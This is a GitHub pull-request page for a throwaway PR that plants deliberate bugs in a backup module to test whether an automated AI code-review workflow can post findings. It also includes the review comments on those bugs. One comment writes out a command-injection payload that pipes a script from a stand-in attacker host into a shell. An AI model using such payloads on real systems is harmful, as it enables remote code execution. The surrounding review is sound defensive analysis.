Conversation
Deliberately flawed file used to confirm the review workflow can post findings back to the PR. Delete along with this branch once verified. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
Without it the review job runs to completion, bills for the model, and posts nothing: verified on PR #4, where three deliberate defects produced 9 turns, is_error false, zero permission denials, and "No buffered inline comments". The action mints its installation token requesting pull_requests write (see src/github/token.ts in claude-code-action), and every review workflow example in its docs uses pull-requests: write. contents stays read, so this job can comment on a pull request but cannot modify code or merge. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
The plugin reports findings via the ReportFindings tool. claude-code-action has no handling for ReportFindings anywhere in its source; it only publishes comments arriving via mcp__github_inline_comment__create_inline_comment or gh pr comment. So the plugin reviewed the code and reported into a tool nothing was listening to: three runs on PR #4, ~$1 each, zero comments. Use the prompt form recommended in the action's own docs/solutions.md, which tells Claude which tools to publish through. Also drops the plugin marketplace clone, which could not be pinned, and reverts the temporary show_full_output diagnostic. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01M8ehe3aZg3NMDojYhRi9uD
| const cmd = | ||
| "tar -xzf /var/backups/" + tenantId + "/" + archiveName + " -C /var/restore"; | ||
| exec(cmd, (err) => cb(err)); |
There was a problem hiding this comment.
Command injection (critical). exec() runs its argument through /bin/sh, and tenantId/archiveName are concatenated in unsanitized. Any shell metacharacter in either value executes as the service user:
restoreBackup("t1", "a.tgz; curl attacker.example/x.sh | sh", cb)
// → tar -xzf /var/backups/t1/a.tgz; curl attacker.example/x.sh | sh -C /var/restoreBackticks, $(...), &&, and | are all equally live. Given these are "caller-supplied values" (per the comment) that likely originate from a tenant-facing restore request, this is remote code execution.
There's a second, independent issue on the same lines: even with the shell removed, archiveName = "../../other-tenant/db.tgz" (or a tenantId of ..) escapes the tenant directory, so one tenant can restore another tenant's backup.
Both need fixing — argument-array exec kills the injection, but only a path check stops the traversal:
import { execFile } from "child_process";
import * as path from "path";
const base = path.resolve("/var/backups", tenantId);
const archive = path.resolve(base, archiveName);
if (path.dirname(archive) !== base) {
return cb(new Error("invalid archive path"));
}
execFile("tar", ["-xzf", archive, "-C", "/var/restore"], (err) => cb(err));Validating tenantId/archiveName against a strict allowlist (e.g. /^[A-Za-z0-9._-]+$/) at the entry point would be a good belt-and-braces addition.
| // Pick the N most recent archives. | ||
| export function recentArchives(archives: string[], count: number): string[] { | ||
| const out: string[] = []; | ||
| for (let i = 0; i <= count; i++) { |
There was a problem hiding this comment.
Off-by-one, plus undefined leaking into a string[]. i <= count iterates count + 1 times, so recentArchives(list, 2) returns 3 entries, not 2.
The more damaging half: there's no bound against archives.length, so when count >= archives.length the out-of-range reads push undefined into an array typed string[]. recentArchives(["a", "b"], 5) returns ["a", "b", undefined, undefined, undefined, undefined]. The type system won't catch it (no tsconfig.json, so noUncheckedIndexedAccess is off — archives[i] is typed string while actually being string | undefined), and the failure surfaces later as a TypeError: Cannot read properties of undefined in whatever consumes the filenames. Callers with fewer archives than the requested count are the normal case for a young tenant, so this isn't an edge case.
| for (let i = 0; i <= count; i++) { | |
| for (let i = 0; i < Math.min(count, archives.length); i++) { |
Worth noting the function takes from the front of the array, so it only returns the most recent archives if callers pass a list already sorted newest-first — may be worth stating in the comment or sorting here.
| if (expiresAt == null) { | ||
| return false; | ||
| } | ||
| return new Date(expiresAt) < new Date(); |
There was a problem hiding this comment.
Fails open on an unparseable date. new Date("garbage") is an Invalid Date whose valueOf() is NaN, and every relational comparison against NaN is false. So isExpired("garbage") and isExpired("") both return false — "not expired".
For a function gating backup retention or access, silently defaulting a malformed timestamp to valid forever is the wrong direction to fail. Empty string is the likely real-world trigger (an unset DB column read as "" rather than NULL skips the == null guard on line 25).
| return new Date(expiresAt) < new Date(); | |
| const expiry = new Date(expiresAt).getTime(); | |
| if (Number.isNaN(expiry)) { | |
| return true; // unparseable expiry → treat as expired rather than valid forever | |
| } | |
| return expiry < Date.now(); |
If a bad value should instead be a hard error, throwing here works too — the point is not to return false.
Review:
|
|
Closing. This PR did its job: the three planted defects in src/backup.ts were correctly identified once the review workflow was fixed (pull-requests:write + inline comment allowlist + explicit prompt instead of the code-review plugin). |
Throwaway PR. Confirms the review workflow can actually post findings, which the previous run could not prove (a one-line README change gave the reviewer nothing to report, so
comments=0 reviews=0was ambiguous).src/backup.tscontains deliberate defects. If a review lands on this PR, the write path works andpull-requests: readis sufficient. If the run goes green with no comment, it is not.Delete this branch once verified.